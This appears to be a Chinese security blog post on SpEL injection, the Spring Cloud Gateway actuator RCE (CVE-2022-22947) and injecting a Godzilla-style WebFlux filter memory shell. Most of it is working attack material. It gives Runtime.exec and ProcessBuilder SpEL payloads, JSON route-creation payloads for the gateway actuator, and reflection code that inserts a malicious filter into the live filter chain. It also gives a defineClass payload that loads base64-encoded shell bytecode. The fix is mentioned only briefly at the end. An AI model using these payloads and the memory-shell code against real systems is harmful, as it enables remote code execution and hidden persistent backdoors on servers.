这篇文章的主要目的是学习一下spel表达式注入和哥斯拉内存马注入,还有神器java-object-searcher的使用
ExpressionParser接口下的parseExpression()方法将字符串表达式转化为Expression对象
- parseExpression()接收参数:
Expression parseExpression(String expressionString, ParserContext context);其中parserContext定义了字符串表达式是否为模板,和模板开始与结束字符
我们经常看见的spel表达式以#{xxx}
的形式出现,他的parserContext如下:
ParserContext parserContext = new ParserContext() { @Override public boolean isTemplate() { return true; } @Override public String getExpressionPrefix() { return "#{"; } @Override public String getExpressionSuffix() { return "}"; } };
T(java.lang.Runtime)
获取了类,并且可以直接使用类下的方法T(java.lang.Runtime).getRuntime().exec("calc")
new java.lang.ProcessBuilder("calc.exe).start()
EvaluationContext的setVariable(name,value)
#name
,还支持#this
和#root
pom.xml中添加依赖:
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>xxx</version> </dependency>
创建一个controller接收字符参数
@Controller public class spel { @RequestMapping("/spel") @ResponseBody public String spel(String input){ SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(input); return expression.getValue().toString(); } }
使用spelExpressionParser接口创建解析器
SpelExpressionParser parser = new SpelExpressionParser();
指定ExpressionParser#parseExpression()来解析表达式
Expression expression = parser.parseExpression(input);
getValue根据上下文获得表达式
expression.getValue().toString();
如果向该Controller HTTP传参,参数名为Input,就能进行spel解析
commons-io
组件回显。但是需要服务器存在该组件,一般都没有
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('java payload').toString()
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder( "whoami").start().getInputStream(), "gbk")).readLine()
new java.util.Scanner(new java.lang.ProcessBuilder("ls").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
useDelimiter为分隔符
Spring Cloud GateWay版本:3.1.0&<=3.0.0-3.0.6
源码:https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0
idea打开就能分析了
在shortcutConfigurable#getValue
中,#{}
包住的进行spel解析,这就是链最后的地方,控制entryValue即可实现spel注入
在shortcutType处使用了getValue
由于是在shortcutType中的normalize中调用的getValue(),所以找也要找调用了shortcutType().normalize()
方法的类,ConfigurationService就符合
上文的entry.getValue()
,entry即为第一个参数,也就是一个Map。这里控制this.properties
为恶意map就能控制spel表达式
在bind()
方法中触发了normalizeProperties()
方法:
在RouteDefinitionRouteLocator#lookup()
方法中对properties进行了设置,然后调用了bind()
properties的值为predicate.getArgs()
在combinePredicates中定义了predicate的值,与routeDefinition有关
在convertToRoute()
中调用了combinePredicates()
而在路由初始化时触发convertToRoute()
CacheingRouteLocator#onApplicationEvent()-> CachingRouteLocator#fetch()-> CompositeRouteLocator#getRoutes()-> RouteDefinitionRouteLocator#getRoutes()-> RouteDefinitionRouteLocator#convertToRoute()
在官方文档https://docs.spring.io/spring-cloud-gateway/docs/3.1.0/reference/html/#actuator-api中,提供了json发送路由请求内容
Actuator API提供了Rest添加路由的方式:
要创建一个路由,请向/gateway/routes/{id_route_to_create}发出一个POST请求,该请求包含一个指定路由字段的JSON主体(见检索某个特定路由的信息)。要删除一个路由,请向/gateway/routes/{id_route_to_delete}发出一个DELETE请求。
http://xxx/actuator/gateway/routes/{xxx}
添加路由
也就是可以向http://xxx/actuator/gateway/routes/godown
如下payload进行注入
{ "id": "godown", "predicates": [{ "name": "Path", "args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec('calc')}"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }
创建完之后向http://xxx/actuator/gateway/refresh
发送请求即可刷新
其实添加的这部分路由对应着配置文件中的route部分:
注意在创建路由的时候把content-type改为application/json
上文payload里的其他参数有没有用?name为什么要是Path?
借用奇安信的一张调用栈图:
在RouteDefinitionRouteLocator#convertToRoute()方法处
除了会调用combinePredicates,还会调用getFilters来触发loadGatewayFilters进行bind
所以在filters处注入也是可以的
过滤器名称:
AddRequestHeader MapRequestHeader AddRequestParameter AddResponseHeader ModifyRequestBody DedupeResponseHeader ModifyResponseBody CacheRequestBody PrefixPath PreserveHostHeader RedirectTo RemoveRequestHeader RemoveRequestParameter RemoveResponseHeader RewritePath Retry SetPath SecureHeaders SetRequestHeader SetRequestHostHeader SetResponseHeader RewriteResponseHeader RewriteLocationResponseHeader SetStatus SaveSession StripPrefix RequestHeaderToRequestUri RequestSize RequestHeaderSize
payload:
{ "id": "first_route", "predicates": [], "filters": [{ "name": "Retry", "args": { "name": "payload", "value": "123" } }], "uri": "https://www.uri-destination.org", "order": 0 }
修改filters.name为任意合法过滤器名,payload处改为spel表达式
同理,predicates里的name,我们之前用的Path
实际上下列predicates都能用:
用户定义的路由信息会存在内存中,refresh后会把结果写入路由信息。通过路由信息的API看到RCE的结果(就上面payload注册完路由后GET访问路由路径)
{ "id": "first_route", "predicates": [], "filters": [{ "name": "RedirectTo", "args": { "status": "302", "url": "payload" } }], "uri": "https://www.uri-destination.org", "order": 0 }
在spring官方文档可以看到RedirectTo接收两个参数,一个status一个url,但是会验证参数类型,也就是说status就必须是枚举类型,url就会进行url解析,所以该过滤器不能使用,没有传入字符串类型的参数,如RemoveRequestHeader,同理对predicates链
spring cloud gateway是基于WebFlux的,关于WebFlux,这篇文章有详尽的说明:
https://juejin.cn/post/7001032584821997598
web服务基于netty和spring,c0ny1佬对针对netty和spring构造了内存马
netty处理http请求会用pipeline链上的handler依次来处理,内存马就是模拟注册一个handler。但是netty是动态构造pipeline。
动态添加handler的CompositeChannelPipelineConfigurer的compositeChannelPipelineConfigurer第二个参数other默认为空,即默认第一个。如果第二个参数other有值,将被合并为一个新Configurer
使用reactor.netty.transport.TransportConfig#doOnchannelInit来获取Configurer
至于构造netty内存马的代码,已经来到了知识盲区,直接移步https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg
分析一遍mieea佬的webFilter内存马
spring Webflux是有filter的,在官方文档里有:
我们知道filter一般都是一个链,在这里是用DefaultWebFilterChain
在DefaultWebFilterChain#invokefilter()
处触发filter
可以看到filter()参数只有ServerWebExchange,那模拟就return调用下一个filter构成filter链
一个Filter Demo:
import org.springframework.core.annotation.Order; import org.springframework.stereotype.Component; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; @Component @Order(value = 2) public class NormalFilter implements WebFilter{ @Override public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { return chain.filter(exchange); } }
反射利用DefaultWebFilterChain#initChain()模拟注册一个filter:
该Chain由FilteringWebHandler生成实例,直接new FilteringWebHandler就能将Filter插入到首位
调试环境:https://github.com/Ha0Liu/CVE-2022-22947
使用c0ny1师傅的java-Object-searcher工具(https://github.com/c0ny1/java-object-searcher)找到内存中DefaultWebFilterChain的位置
新建一个NormalFilter,把编译好的java-obejct-searcher-0.1.0.jar导入到target目录下,项目启动后触发一遍filter
import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; import org.springframework.core.annotation.Order; import org.springframework.stereotype.Component; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; import java.util.ArrayList; import java.util.List; @Component @Order(value = 2) public class NormalFilter implements WebFilter { @Override public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { //设置搜索类型包含Request关键字的对象 List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("chain").build()); List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); searcher.setBlacklists(blacklists); searcher.setIs_debug(true); searcher.setMax_search_depth(10); searcher.setReport_save_path("xx"); searcher.searchObject(); return chain.filter(exchange); } }
如下:
于是我们得到内存马构造的流程:
哥斯拉里面生成jsp的马
filter不能影响正常的业务,加一个身份验证的http头:
String authorizationHeader = exchange.getRequest().getHeaders().getFirst(HttpHeaders.AUTHORIZATION); if(authorizationHeader != null && authorizationHeader.equals(auth)) {......}
表单数据用ServerWebexchange.getFormData()
获取
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
获取到的数据是键值对数据流,用flatMap对数据流进行合并化:
Mono bufferStream = formData.flatMap(map -> { String passStr = map.getFirst(pass); StringBuilder result = new StringBuilder(); ...... return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); });
为方便移植,把哥斯拉的session换成Map<String,Object>
public static Map<String, Object> store = new HashMap<>();
getThreads = Thread.class.getDeclaredMethod("getThreads"); getThreads.setAccessible(true); Object threads = getThreads.invoke(null); for (int i = 0; i < Array.getLength(threads); i++) { Object thread = Array.get(threads, i); if (thread != null && thread.getClass().getName().contains("NettyWebServer")) { // 获取defaultWebFilterChain NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false); ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false); Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false); HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false); ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true); FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true); DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters()); newAllFilters.add(0,new FilterMemshellPro()); DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
生成filteringWebHandler:
Field f = filteringWebHandler.getClass().getDeclaredField("chain"); .... f.set(filteringWebHandler,newChain);
直达github完整poc:https://github.com/mieeA/SpringWebflux-MemShell/
Memshell改为你的软件包名+shell
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
其中
'yv66vgAAA....'
为Base64Encode的字节码,可通过如下代码生成:import org.springframework.util.Base64Utils; import java.io.*; import java.nio.charset.StandardCharsets; public class EncodeShell { public static void main(String[] args){ byte[] data = null; try { InputStream in = new FileInputStream("MemShell.class"); data = new byte[in.available()]; in.read(data); in.close(); } catch (IOException e) { e.printStackTrace(); } String shellStr = Base64Utils.encodeToString(data); System.out.println(shellStr); try { OutputStream out = new FileOutputStream("ShellStr.txt"); out.write(shellStr.getBytes(StandardCharsets.UTF_8)); out.flush(); out.close(); } catch (IOException e) { e.printStackTrace(); } } }
如果注入过程有问题,可以在docker中看下Log
https://github.com/spring-cloud/spring-cloud-gateway/commit/d8c255eddf4eb5f80ba027329227b0d9e2cd9698
commit的历史中,把StandardEvaluationContext替换为了SimpleEvalutionContext
参考:spel表达式注入
http://wjlshare.com/archives/1748